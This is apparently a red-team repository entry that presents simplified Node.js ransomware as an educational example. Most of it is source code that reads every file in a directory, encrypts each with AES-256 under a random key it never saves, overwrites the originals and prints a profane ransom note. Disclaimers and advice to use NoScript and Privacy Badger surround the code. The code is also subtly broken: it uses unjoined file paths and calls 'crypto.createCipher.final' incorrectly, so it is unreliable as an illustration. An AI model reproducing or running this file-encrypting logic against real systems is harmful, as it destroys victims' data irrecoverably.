RedTeam - Techniques for 'Offensive Security' by Volkan Sah - Simple Codings for Offensive Security (update 02/2023)
Ransomware attacks are one of the most destructive and malicious types of cyber threats, often resulting in significant financial losses and personal data theft. It is important to understand the mechanisms of ransomware attacks in order to protect yourself and your systems from these malicious threats.
This JavaScript code provides a simplified example of a ransomware attack and its underlying techniques. It is intended for educational and ethical hacking purposes only, and should not be used for any illegal or unethical activities. It is important to always abide by the law and use technology responsibly and ethically to promote positive outcomes for society.
// Ransomware code (for demonstration purposes only)
var fs = require('fs');
var crypto = require('crypto');
// Directory to target for file encryption
var targetDirectory = '/user/files';
// Once the encryption key is generated, the code will read all files in the target directory.
var encryptionKey = crypto.randomBytes(32).toString('hex');
// Read all files in the target directory
fs.readdirSync(targetDirectory).forEach(file => {
// Skip directories
if (fs.lstatSync(file).isDirectory()) return;
// Read file data
var data = fs.readFileSync(file);
// Encrypt file data with encryption key
var encryptedData = crypto
.createCipher('aes-256-cbc', encryptionKey)
.update(data, 'utf8', 'hex') +
crypto.createCipher.final('hex');
// writing encrypted data back to file
// Finally, the code will display a ransom note to the user, demanding payment in exchange for the decryption key.
fs.writeFileSync(file, encryptedData);
});
// Display ransom note to user
var ransomNote = `
Your files have been encrypted!
e.g go fuck off
`;
console.log(ransomNote);As technology continues to advance, it's more important than ever to protect ourselves and our systems from malicious attacks. With the rise of dangerous JavaScript techniques that can be executed through the browser, it's crucial to take proactive measures to safeguard your browsing experience. By utilizing browser add-ons such as NoScript and Privacy Badger, you can protect yourself from potential threats and enjoy a safer, more secure online experience. Remember, it's not just about protecting yourself - it's about promoting a culture of responsible technology use that benefits society as a whole
